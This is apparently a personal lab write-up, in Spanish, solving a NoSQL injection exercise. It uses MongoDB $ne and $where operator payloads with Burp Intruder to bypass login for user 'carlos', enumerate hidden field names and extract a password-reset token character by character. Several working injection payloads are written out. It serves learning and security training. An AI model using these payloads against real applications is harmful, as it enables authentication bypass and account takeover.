🦺Laboratorio: Exploiting NoSQL operator injection to extract unknown fields

Debo a punta del object.keys() seguramente tirar para exfiltrar el token que resetea la password de carlos, a ver si lo consigo.

"$where":"Object.keys(this)[0].match('^.{0}a.*')"

En la funcionalidad de lookup user →

{"username":"wiener","password":"peter","$where": "0"}
{"username":"wiener","password":"peter","$where": "1"}
--------------------------------
{"username":"wiener","password":"password":{"$ne": null},"$where": "Object.keys(this)[0].match('^.{0}a.*')"}

Cuando es verdad podemos bypassear el salto de wiener e ingresar, con el not equal a invalid, en 0 no me muestra nada.

{"username":"carlos","password":{"$ne":"invalid" },"$where": "1"}
{"username":"carlos","password":{"$ne":"invalid" },"$where": "Object.keys(this)[0].match('^.{0}a.*')"}

Cuando es verdad con el username carlos me genera un cuenta bloqueada, en cuanto tiramos falsedad con where 0 nos tira invalid username o password, nos servirá mucho para mi ataque futuro implementarlo en intruder con grep match con el Account locked: please reset your password ya que cuando filtré evidentemente los que contengan el account locked son los que acceden a info correcta del server con la BD mongo, los que devuelven el error de invalid username efectivamente no nos sirve de nada.

La posición [0].match de la clave where , me da error de servidor 500 cuando lo itero hasta 5, 4 no me genera error pero de 5 pa’ arriba si.

Bueno simplificando esto, puedo crear un cluster bomb con intruder e iterar de 0-50 (que realmente solo abarcaba de 0-10, pero lo hicé por si las moscas) para el {} y de a-Z-A-Z para el a.

Con esto podemos determinar un poco lo que se podría intentar ahora, organizar lo que nos retorna:

  • unlockToken

¿unlockToken? Es la opción entonces para poder desbloquear el token del username carlos para su reset password.

Bueno lo que si tengo muy presente, es que con el Object.keys(this).[4] lo mantuve en 4 para el ataque así que ¿que pasaría si intento poner los numeros inferiores a 4? (que siguen siendo validos.) porque recuerda felipe que despues del 4 me tiraba el server internal error.

Aquí con la posición de object.keys(this).[3] me devolvió la posición de estas letras que juntas hacen el email

  • email

Vamos por la posición 2

  • password

Voy por la posición 1

  • username

Voy por la posición 0

  • id

Ahora puedo modificar el Object.Key por un valor .Match() al que pueda usar con base a lo que encuentre

{"username":"carlos","password":{"$ne":"invalid" },"$where": "Object.match('^.{§0§}§a§.*')"}

Bueno la ultima posición solo tiro id ahora bien, de esas palabras solo una tiene sentido hasta el momento y es unlockTocken que lo pude usar como endpoint en forgot-password y me tiró algo interesante:

Singifica que ese endpoint se está validando, ahora que puedo hacer? con la inyección de arriba que había puesto para el ataque de POST login con carlos y la password en invalid, podemos hacer el match con where con un ataque a a intruder intentando comprobar caracter por caracter cual es el token de reset password de carlos

  • Payload →

{"username":"carlos","password":{"$ne":"invalid"},"$where":"Object.unlockToken.match('^.{§0§}§a§.*')"}
{"username":"carlos","password":{"$ne":"invalid" },"$where": "Object.keys(this)[0].match('^.{0}a.*')"}
{"username":"carlos","password":{"$ne":"invalid" },"$where": "Object.unlockToken(this)[0].match('^.{0}a.*')"}
PAYLOAD FINAL: {"username":"carlos","password":{"$ne":"invalid" },"$where": "this.unlockToken.match('^.{0}a.*')"}
  • Importante: grepearlo por el Account locked: please reset your password…

Entonce voy a armar el token y lo dejo aqui:

  • 7c2b7b49372

Vamos a ver si funciona así con el payload de numbers solo de 0-10, sino me funciona aumento el rango de 0-30.

Entonces voy a aumentarle el rango a 30:

Ahora si puedo ver que abarca mas posibles combinaciones, entonces voy a armar el token:

  • 7c2b7b493725c7e1

Ahora si me devolvió algo:

Password: 123, ingreso y vea:

Resuelto el laboratorio.

Last updated